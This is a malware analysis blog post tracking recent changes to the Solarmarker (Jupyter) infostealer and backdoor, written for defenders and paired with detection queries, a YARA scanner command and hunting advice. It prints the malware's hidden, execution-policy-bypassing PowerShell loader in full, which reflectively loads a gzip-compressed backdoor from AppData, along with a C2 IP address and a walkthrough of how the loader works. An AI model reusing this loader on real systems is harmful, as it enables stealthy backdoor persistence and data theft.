New Threat Research: MalSync Teardown: From DLL Hijacking to PHP Malware for Windows  

Read Threat Research

Search

Solarmarker: By Any Other Name (Mars-Deimos part 3)

Note: this post was originally shared on https://squiblydoo.blog/ by a member of the Binary Defense Team. In order to ensure this research is visible to a broader audience, this employee agreed to let us share it here.

 class=

Payload SHA256: c61348ab7e5ffeb9ba5d1077b13c49bde4d841c5ada9a
Backdoor SHA256: 0e673eb418c87268aa3bcb262e8e03a3f719a95a8e118ba99515c57c9aa02d38
Backdoor C2: 149.255.35.179

Solarmarker (AKA JupyterInfostealer AKA YellowCockatoo AKA Polazert) is still a trending malware. Several companies have published write-ups: they often dig deep and the writeups and detection methods often fall out of date by the time of publication due to Solarmarker’s own weekly updates. This blog post intends to fill some of the gaps. However, the other publications are all important and I will provide references to the articles I know of.

This blog post is intended as a summary of the changes seen in the last few months. Readers who are unfamiliar with the malware should consult with my other articles (personal blog) (Binary Defense blog) and any of the articles presented in the reference section.

Updated Features of Solarmarker:

Solarmarker has recently stopped using the “Solarmarker” Unique ID (UID) file which gave it the “Solarmarker” name. Instead, they drop a file whose name itself is the UID that they generate for the infected host. This file is still saved in the user’s “AppDataRoaming” directory.

 class=
The UID file as seen in Window’s File Explorer.

Solarmarker has dropped the “Mars.Deimos” name for the backdoor. Instead, the name of the backdoor is random strings. That is, instead of seeing the file being invoked as [Mars.Deimos]::interact(), it will be invoked with a randomly named binary such as the following:

[a53af4949324c69d41059be2ad458.ac905c3dc3b419a26727bd3069e4c]::ada7f940e0d479bab05702d4c32ea()

Solarmarker has dropped the “Jupyter.Jupyter” name for the Infostealer. Instead, recent examples have been “Module.Main”. For a few weeks, I have not seen Module.Main as a standalone DLL, but I have seen references to Module Main in decompiled versions of the backdoor. In past months, not seeing the backdoor was an indicator that it was under development. The backdoor is likely to undergo similar renaming as Mars.Deimos.

 class=
A reference to Module Main seen in the backdoor. (Viewed with DNSpy.)

The PowerShell used in the Registry was updated this week. In previous weeks, the PowerShell used in the Registry was the same basic pattern described in my first post . This week, the PowerShell saved in the registry has been changed to the following:

poWErSHELL -windOWSTyLe hiDden -Ep BYpASS -cOmmAND "[SYStEm.rEFLeCTioN.aSsEMBlY]::LOad({$aeb4235fa7c4828337a0569760676=neW-OBJect SYSTEm.IO.memORYsTrEam(, $args[0]);    $a8d824c68d14f09a2475882591cde=NEW-OBJeCt sYsteM.Io.mEMORYsTreaM;    $a0b2951b9f3456a1816344df08f46=NEw-oBJECT SySTeM.Io.cOmPREssIOn.GzipStrEam $aeb4235fa7c4828337a0569760676, ([Io.CoMPRESSion.compreSSIONMODe]::DecomPREss);    $a0b2951b9f3456a1816344df08f46.CoPYtO($a8d824c68d14f09a2475882591cde);$a0b2951b9f3456a1816344df08f46.clOsE();$aeb4235fa7c4828337a0569760676.cLOSE();retUrn $a8d824c68d14f09a2475882591cde.toARRaY();}.InvOke([sYStEm.Io.FiLe]::rEADALLbyTEs('C:UsersUsernameAppDataRoamingAdOBeMFPBxZuCvrcKQfnJWlbrDGgaxKvpEST.PQFwaJUxNGIqcWi'));[a53af4949324c69d41059be2ad458.ac905c3dc3b419a26727bd3069e4c]::ada7f940e0d479bab05702d4c32ea()"

We’ll discuss it in depth later but a few major changes include:

  • The directory for the malware file has changed from “C:Users%username%AppDataRoamingMicrosoft” to “C:Users%username%AppDataRoamingAdobe”
  • It no longer uses an exposed XOR key and two four-loops

The Backdoor is still pretty easily written to file. Once the above PowerShell has been obtained. I personally replace the “System.Reflection.Assembly::load()” with a variable and then save the contents to file using Set-Content.

$backdoorVariable = {$aeb4235fa7c4828337a0569760676=neW-OBJect [...]
[...]
$backdoor = $enc.GetBytes($backdoorVariable)
Set-Content .binbackdoor2 -value $backdoor -Encoding Byte
 class=
Modified PowerShell for saving to disk.

Since my last publication, the payload type has changed from a “.exe” usually using InnoSetup to using a “.msi”, often using various msi package builders such as “Advanced Installer” or “EMCO.”

Solarmarker recently deviated from Dotfuscation for obfuscating the binary. Instead of having single- or two-character name for functions, they are long strings. Part of this obfuscation is mitigated through a tool like a diff checker. A diff checker like Beyond Compare can be used to clarify sections of the decompiled code.

 class=
DNSpy output between two binaries compared. Left uses Dotfuscation. Right uses new obfuscation method.

Beyond Compare also highlights new and interesting changes. In the below image, a new section is highlighted. Here the backdoor uses gzipStream when the backdoor receives PowerShell commands from the C2.

 class=
A diffcheck comparing the execution instructions for when PowerShell commands are received.

The basic functionality of the backdoor is the same. Due to the fact the contents can be changed weekly, I will not be doing an in-depth analysis of the changes. I am primarily interested in helping the malware be identified by System Administrators and publishing a record of changes so that researchers are aware in tracking the malware.

What hasn’t changed in this version of Solarmarker?

Solarmarker has maintained several things that can help defenders.

Since July, Solarmarker has stored the persistence key in the registry using PowerShell. For those who use ELK, they can use the query that Elastic has published and is just below this paragraph: the query looks for instances where a registry key has PowerShell and has a length greater than 100 characters. This will identify any infected host from July to present.

registry where registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100

Solarmarker has maintained a very similar code base. As exampled above, comparing previous decompiled versions to current versions can speed up any in-depth analysis. Solarmarker has frequently released samples without any obfuscation; these are also worth consulting to understand current versions of the code. These older versions can be downloaded through MalwareBazaar (if you are considering downloading them en masse, consider my bazaarShopper script which uses MalwareBazaar’s API).

Solarmarker’s backdoor is still detected by the YARA rule created by Luke Acha: this rule looks for the name of the DLL which has followed a consistent pattern for the last year. It appears to be an artifact of how the DLLs are created. There are some false-positives, but the rule has been the most consistent rule that I have seen from any researcher. Others rules have broken due to reliance on strings or bytes. For anyone unfamiliar with YARA, I recommend the YARAMemoryScanner, it can be run on a host to identify Solarmarker running in memory. To use it, you can point to the URL with Luke Acha’s rule, it will download the rule and scan all active processes.

.YaraMemoryScanner.ps1 https://raw.githubusercontent.com/securitymagic/yara/main/Jupyter%20Malware/JupyterDll.yar

The distribution system is mostly the same with minor changes. The former Google Dorks do not work as reliably and eSentire has reported seeing Blogspot used frequently for hosting links to the malware.

The malware still uses a large number of Freenom domains in the distribution of the malware. Microsoft shared a M365 hunting query that looks for a host that navigated to 5 or more Tokelau (.tk) domains within 10 minutes. This detection identifies any hosts who have recently attempted a download from the phishing lure. However, any Freenom domain visits (.tk, .ml, .gq, .cf) may be suspicious in your environment and may be worth hunting for.

Solarmarker Trends to Watch

Solarmarker regularly updates the C2 in use for the backdoor, but they do have some trends they like to follow. I did an analysis of the C2 addresses seen and several the IP addresses regularly map back to common ASN. They have frequently used M247 but most recent samples are starting to use “AS29802 Hivelocity”.

 class=
A network map of dll with hardcoded C2. Blue circles indicate an ASN. Lines indicate the binary uses that ASN.

In-Depth Analysis of Solarmarker Startup Script

This section will break the startup script down into sections. To understand how the start up script works please review my Persistence Key Walkthrough. The following PowerShell is triggered by a call to a specific file extension.

 class=
Original backdoor decoding script saved into the registry.

For the sake of clarity, we are going to rename some variables. These names aren’t important. The important factor is making the PowerShell more readable.

  • $aeb4235fa7c4828337a0569760676 will be changed to “backdoor”
  • $a8d824c68d14f09a2475882591cde will be changed to “backdoorStream”
  • $a0b2951b9f3456a1816344df08f46 will be changed to “backdoorDecompressed”

This results in the following:

 class=
Variable names changed to be human-readable.

The PowerShell runs using the WindowStyle Hidden and executes a command. Lines 2-7 all feed into the item that which will be loaded using System.Reflection.Assembly. That item is then executed on line 8 using the name of the backdoor and the main method of the backdoor.

Before loading the backdoor, the script reads a file stored on disk (line 7). The script sets up two memory streams: $backdoor and $backdoorStream. $backdoor receives the content ($args[0]) from Invoke on line 7 and $backdoorStream will be used later.

System.IO.Compression.GZipStream takes a MemoryStream and a Compression mode. $backdoorDecompressed is used by initializing a New-Object containing a decompressed version of the $backdoor MemoryStream and the Decompress compression mode.

The contents of $backdoorDecompressed are copied to the $backdoorStream memory stream, and then $backdoorDecompressed and the $backdoor memory stream are closed. The $backdoorStream is returned as an array to System.Reflection.Assembly. The backdoor is then loaded into memory and the main process is initiated in line 8.

References:

Microsoft. Microsoft 365 Defender Webinar: Monthly Threat Insights – August 18, 2021 https://www.youtube.com/watch?v=Y_DrANTPyD0
Microsoft. Microsoft-365-Defender-Hunting-Querieshttps://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/tree/master/Campaigns/Jupyter-Solarmaker
Cisco Talos. Threat Spotlight: Solarmarkerhttps://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html
Elastic Security Intelligence & Analytics Team. Going Coast to Coast – Climbing the Pyramid with the Deimos Implanthttps://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant
Expel.io. Top Attack Vectors: September 2021https://expel.io/blog/top-attack-vectors-september-2021/
eSentire. Infrastructure in Recent Drive-By Attacks. https://www.esentire.com/blog/solarmarker-shifts-infrastructure-in-recent-drive-by-attacks